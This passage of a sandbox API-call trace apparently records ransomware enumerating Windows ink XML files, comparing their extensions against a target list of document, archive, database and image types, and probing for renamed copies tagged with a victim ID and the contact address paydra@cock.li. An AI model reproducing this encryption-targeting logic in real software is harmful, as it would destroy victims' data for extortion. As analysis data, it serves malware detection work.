lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.044] lstrlenW (lpString=".zip") returned 4 [0036.044] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.044] lstrlenW (lpString=".rar") returned 4 [0036.044] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.044] lstrlenW (lpString=".bz2") returned 4 [0036.044] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.045] lstrlenW (lpString=".7z") returned 3 [0036.045] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.045] lstrlenW (lpString=".dbf") returned 4 [0036.045] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.045] lstrlenW (lpString=".1cd") returned 4 [0036.045] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.045] lstrlenW (lpString=".jpg") returned 4 [0036.045] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.045] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.045] lstrlenW (lpString="auxpad.xml") returned 10 [0036.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0036.046] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=212) returned 1 [0036.046] CloseHandle (hObject=0x190) returned 1 [0036.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0036.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.048] lstrlenW (lpString=".doc") returned 4 [0036.048] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.048] lstrlenW (lpString=".docx") returned 5 [0036.048] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0036.048] lstrlenW (lpString=".pdf") returned 4 [0036.048] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.048] lstrlenW (lpString=".xls") returned 4 [0036.048] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.048] lstrlenW (lpString=".xlsx") returned 5 [0036.048] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0036.048] lstrlenW (lpString=".ppt") returned 4 [0036.048] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.048] lstrlenW (lpString=".zip") returned 4 [0036.048] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.048] lstrlenW (lpString=".rar") returned 4 [0036.048] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.048] lstrlenW (lpString=".bz2") returned 4 [0036.048] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.048] lstrlenW (lpString=".7z") returned 3 [0036.048] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.048] lstrlenW (lpString=".dbf") returned 4 [0036.048] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.048] lstrlenW (lpString=".1cd") returned 4 [0036.048] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.049] lstrlenW (lpString=".jpg") returned 4 [0036.049] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.049] lstrlenW (lpString=".doc") returned 4 [0036.049] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.049] lstrlenW (lpString=".docx") returned 5 [0036.049] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0036.049] lstrlenW (lpString=".pdf") returned 4 [0036.049] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.049] lstrlenW (lpString=".xls") returned 4 [0036.049] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.049] lstrlenW (lpString=".xlsx") returned 5 [0036.049] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0036.049] lstrlenW (lpString=".ppt") returned 4 [0036.049] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.049] lstrlenW (lpString=".zip") returned 4 [0036.049] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.049] lstrlenW (lpString=".rar") returned 4 [0036.049] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.049] lstrlenW (lpString=".bz2") returned 4 [0036.049] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.049] lstrlenW (lpString=".7z") returned 3 [0036.049] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.049] lstrlenW (lpString=".dbf") returned 4 [0036.049] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.049] lstrlenW (lpString=".1cd") returned 4 [0036.049] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0036.050] lstrlenW (lpString=".jpg") returned 4 [0036.050] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.050] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.050] lstrlenW (lpString="ea.xml") returned 6 [0036.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0036.050] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=384) returned 1 [0036.051] CloseHandle (hObject=0x190) returned 1 [0036.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0036.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.051] lstrlenW (lpString=".doc") returned 4 [0036.051] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.051] lstrlenW (lpString=".docx") returned 5 [0036.051] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0036.051] lstrlenW (lpString=".pdf") returned 4 [0036.051] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.051] lstrlenW (lpString=".xls") returned 4 [0036.051] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.051] lstrlenW (lpString=".xlsx") returned 5 [0036.051] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0036.051] lstrlenW (lpString=".ppt") returned 4 [0036.051] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.051] lstrlenW (lpString=".zip") returned 4 [0036.051] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.052] lstrlenW (lpString=".rar") returned 4 [0036.052] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.052] lstrlenW (lpString=".bz2") returned 4 [0036.052] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.052] lstrlenW (lpString=".7z") returned 3 [0036.052] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.052] lstrlenW (lpString=".dbf") returned 4 [0036.052] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.052] lstrlenW (lpString=".1cd") returned 4 [0036.052] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.052] lstrlenW (lpString=".jpg") returned 4 [0036.052] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.052] lstrlenW (lpString=".doc") returned 4 [0036.052] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.052] lstrlenW (lpString=".docx") returned 5 [0036.052] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0036.052] lstrlenW (lpString=".pdf") returned 4 [0036.052] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.052] lstrlenW (lpString=".xls") returned 4 [0036.052] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.052] lstrlenW (lpString=".xlsx") returned 5 [0036.052] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0036.052] lstrlenW (lpString=".ppt") returned 4 [0036.052] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.053] lstrlenW (lpString=".zip") returned 4 [0036.053] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.053] lstrlenW (lpString=".rar") returned 4 [0036.053] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.053] lstrlenW (lpString=".bz2") returned 4 [0036.053] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.053] lstrlenW (lpString=".7z") returned 3 [0036.053] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.053] lstrlenW (lpString=".dbf") returned 4 [0036.053] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.053] lstrlenW (lpString=".1cd") returned 4 [0036.053] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0036.053] lstrlenW (lpString=".jpg") returned 4 [0036.053] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.053] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.053] lstrlenW (lpString="keypadbase.xml") returned 14 [0036.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0036.054] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1118) returned 1 [0036.054] CloseHandle (hObject=0x190) returned 1 [0036.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0036.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.054] lstrlenW (lpString=".doc") returned 4 [0036.054] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.054] lstrlenW (lpString=".docx") returned 5 [0036.054] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0036.055] lstrlenW (lpString=".pdf") returned 4 [0036.055] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.055] lstrlenW (lpString=".xls") returned 4 [0036.055] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.055] lstrlenW (lpString=".xlsx") returned 5 [0036.055] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0036.055] lstrlenW (lpString=".ppt") returned 4 [0036.055] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.055] lstrlenW (lpString=".zip") returned 4 [0036.055] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.055] lstrlenW (lpString=".rar") returned 4 [0036.055] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.055] lstrlenW (lpString=".bz2") returned 4 [0036.055] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.055] lstrlenW (lpString=".7z") returned 3 [0036.055] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.055] lstrlenW (lpString=".dbf") returned 4 [0036.055] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.055] lstrlenW (lpString=".1cd") returned 4 [0036.055] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.055] lstrlenW (lpString=".jpg") returned 4 [0036.055] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.055] lstrlenW (lpString=".doc") returned 4 [0036.055] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.055] lstrlenW (lpString=".docx") returned 5 [0036.055] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0036.055] lstrlenW (lpString=".pdf") returned 4 [0036.056] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.056] lstrlenW (lpString=".xls") returned 4 [0036.056] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.056] lstrlenW (lpString=".xlsx") returned 5 [0036.056] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0036.056] lstrlenW (lpString=".ppt") returned 4 [0036.056] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.056] lstrlenW (lpString=".zip") returned 4 [0036.056] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.056] lstrlenW (lpString=".rar") returned 4 [0036.056] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.056] lstrlenW (lpString=".bz2") returned 4 [0036.056] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.056] lstrlenW (lpString=".7z") returned 3 [0036.056] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.056] lstrlenW (lpString=".dbf") returned 4 [0036.056] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.056] lstrlenW (lpString=".1cd") returned 4 [0036.056] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0036.056] lstrlenW (lpString=".jpg") returned 4 [0036.056] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.056] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.056] lstrlenW (lpString="kor-kor.xml") returned 11 [0036.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0036.057] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=392) returned 1 [0036.057] CloseHandle (hObject=0x190) returned 1 [0036.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0036.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.057] lstrlenW (lpString=".doc") returned 4 [0036.057] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.057] lstrlenW (lpString=".docx") returned 5 [0036.057] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0036.057] lstrlenW (lpString=".pdf") returned 4 [0036.057] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.057] lstrlenW (lpString=".xls") returned 4 [0036.057] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.057] lstrlenW (lpString=".xlsx") returned 5 [0036.057] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0036.057] lstrlenW (lpString=".ppt") returned 4 [0036.057] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.058] lstrlenW (lpString=".zip") returned 4 [0036.058] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.058] lstrlenW (lpString=".rar") returned 4 [0036.058] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.058] lstrlenW (lpString=".bz2") returned 4 [0036.058] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.058] lstrlenW (lpString=".7z") returned 3 [0036.058] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.058] lstrlenW (lpString=".dbf") returned 4 [0036.058] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.058] lstrlenW (lpString=".1cd") returned 4 [0036.058] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.058] lstrlenW (lpString=".jpg") returned 4 [0036.058] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.058] lstrlenW (lpString=".doc") returned 4 [0036.058] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.058] lstrlenW (lpString=".docx") returned 5 [0036.058] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0036.058] lstrlenW (lpString=".pdf") returned 4 [0036.058] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.058] lstrlenW (lpString=".xls") returned 4 [0036.058] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.058] lstrlenW (lpString=".xlsx") returned 5 [0036.058] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0036.058] lstrlenW (lpString=".ppt") returned 4 [0036.058] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.058] lstrlenW (lpString=".zip") returned 4 [0036.059] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.059] lstrlenW (lpString=".rar") returned 4 [0036.059] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.059] lstrlenW (lpString=".bz2") returned 4 [0036.059] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.059] lstrlenW (lpString=".7z") returned 3 [0036.059] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.059] lstrlenW (lpString=".dbf") returned 4 [0036.059] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.059] lstrlenW (lpString=".1cd") returned 4 [0036.059] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0036.059] lstrlenW (lpString=".jpg") returned 4 [0036.059] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.059] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.059] lstrlenW (lpString="keypad.xml") returned 10 [0036.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0036.060] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=727) returned 1 [0036.060] CloseHandle (hObject=0x190) returned 1 [0036.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common 